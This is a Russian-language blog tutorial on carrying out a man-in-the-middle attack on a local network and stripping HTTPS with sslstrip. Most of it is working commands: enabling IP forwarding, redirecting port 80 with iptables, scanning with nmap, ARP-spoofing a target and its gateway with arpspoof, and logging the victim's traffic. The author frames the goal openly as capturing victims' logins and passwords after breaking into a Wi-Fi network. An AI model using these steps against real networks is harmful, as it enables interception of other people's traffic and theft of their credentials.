MITM атаки и SSL Strip

Думаю, все вы знаете о таком типе атаки, как MITM (man in the middle),  которая позволяет тайно слушать трафик определённой цели. Нужно всего лишь встать между роутером и компьютером избранной жертвы. Как правило, делается это после взлома Wi-Fi и погружения в локальную сеть. Предлагаю сегодня более подробно поговорить об этом на практике, а также затронуть SSL Strip.

Кстати, перед тем как перейти непосредственно к практике, хочу напомнить что такое SSL Strip и какие он имеет особенности. В общем, SSL Strip — это некий инструмент, который незаметно перехватывает HTTP трафик в сети, следит за HTTPS ссылками и редиректами, а затем сопоставляет эти ссылки их HTTP двойникам или омографически сходным HTTPS ссылкам.

Раньше было проще, когда весь интернет был на обычном http, все POST запросы были в открытом виде и добить лог/пас жертвы не составляло большого труда. Сейчас же придумали эти сертификаты… SSL, TLS и шифруется весь трафик 🙁 https некогда было большой проблемой. Но все решается и был придуман sslstrip, который и поможет нам в решении наших задач. Решить, конечно, мы сможем не все, есть некоторые ограничения. Потому как киты интернета грамотно строят защиту своих сайтов, а также модные браузеры ограничивают некоторые возможности, и sslstrip в таких случаях не прокатит.

Ну что же, приступим. Я буду использовать Kali, Вы как хотите. Первоначальная настройка нашей системы.

Есть такой файл /proc/sys/net/ipv4/ip_forward, там по умолчанию стоит значение 0. Если обратиться к документам Debian, то там скажут что этот параметр запрещает/разрешает передачу пакетов между интерфейсами. Грубо говоря, нам надо включить этот параметр, чтобы мы стали роутером и пересылали пакеты, как нам это надо. Пишем:

echo 1 > /proc/sys/net/ipv4/ip_forward

Прекрасно. При такой записи, ip_forward будет работать у нас до перезагрузки. Если хотим изменить этот параметр навечно, то идем /etc/sysctl.conf и снимаем комментарий

#net.ipv4.ip_forward=1

Перейдем к настройке Iptables. Пишем:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

-t- nat тут мы создаем имя таблицы, в нашем случае nat

-A -добавляем новое правило в цепочку PREROUTING

-p tcp—destination-port 80 — указываем порт назначения, ставим 80

-j- так мы описываем переход в другую цепочку REDIRECT

—to-port 8080 — тут все понятно, указываем на какой порт перенаправляем

Теперь надо узнать шлюз по умолчанию и адрес нашей цели. Это легкий этап, и скорее всего многие и так знают адрес шлюза, но на всякий случай напишу. Вводим route -n.

Теперь сканируем сеть, чтобы узнать адрес цели. Можно использовать любой сканер. В качестве примера, я буду использовать nmap. Вводим

nmap -sS -O 172.20.10.1/25

Подготовительный этап завершен. Теперь перейдем непосредственно к прослушиванию трафика.

Вводим следующую команду:

arpspoof -i eth0 -t 172.20.10.7 172.20.10.1

Нажимаем Enter. Окно не закрываем, не останавливаем процесс.

-i eth0 — имя интерфейса

-t 172.20.10.7 — это таргет, наша цель, адрес у вас будет другой

172.20.10.1 — это адрес шлюза

В итоге должно получиться так:

Открываем новый терминал и пишем sslstrip -l 8080. Нажимаем Enter и ждем пока цель будет пользоваться интернетом. Для удобства наблюдения можно в новом терминале набрать команду tail -f sslstrip.log

Я скачал все последние версии популярных браузеров на 28.08.207 и хочу сказать, что самый защищенный из них — это Google Chrome (ПК версия). Обычным sslstrip его не поломает никак.

Ниже снова прикрепляю видео для наглядности. На сегодня всё)

Click to rate this post!
[Total: 9 Average: 3.3]

Leave a reply:

Your email address will not be published.